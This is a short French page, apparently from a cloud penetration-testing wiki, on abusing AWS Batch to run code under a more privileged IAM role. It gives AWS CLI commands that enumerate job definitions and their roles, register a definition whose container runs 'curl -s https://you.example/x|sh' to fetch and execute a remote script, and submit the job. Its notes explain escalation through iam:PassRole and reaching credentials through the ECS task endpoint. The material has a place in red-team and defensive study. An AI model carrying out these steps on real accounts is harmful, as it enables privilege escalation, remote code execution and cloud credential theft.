AWS Batch exécute des jobs conteneurisés sur des environnements de calcul ECS ou Fargate. Une définition de job fixe l'image, la commande, et un rôle de job, si bien qu'enregistrer ou modifier une définition puis soumettre un job exécute votre conteneur sous ce rôle, à la manière des tâches ECS.
Exécuter un job#
aws batch describe-job-definitions --status ACTIVE \
--query 'jobDefinitions[].{n:jobDefinitionName,role:containerProperties.jobRoleArn}'
aws batch register-job-definition --job-definition-name x --type container \
--container-properties '{"image":"<you>/img","command":["sh","-c","curl -s https://you.example/x|sh"],"jobRoleArn":"<privileged-role>","vcpus":1,"memory":512}'
aws batch submit-job --job-name x --job-queue <queue> --job-definition x
Notes d'exploitation#
- Fixer
jobRoleArnà un rôle plus privilégié que l'appelant nécessiteiam:PassRole, ce qui en fait une voie d'élévation. - Le conteneur atteint son rôle via le point de terminaison d'identifiants de tâche ECS, comme dans containers.
- Une file et un environnement de calcul existants suffisent ; vous n'avez pas besoin de provisionner de l'infrastructure, seulement une définition et une soumission.
Outils#
- AWS CLI (
batch register-job-definition,submit-job).